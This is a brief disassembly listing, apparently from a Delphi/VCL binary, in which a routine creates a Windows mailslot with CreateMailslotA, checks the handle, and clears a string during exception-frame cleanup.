mov eax, dword [esi + 0x41]
push eax
push 0
lea eax, [ebp - 0x200]
push eax
call sub.kernel32.dll_CreateMailslotA
mov edi, eax
mov dword [esi + 0x2d], edi
inc edi
je 0x41ded52
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41ded72
lea eax, [ebp - 0x204]
call sub.VCL30.dpl_System._LStrClr_40929B27
ret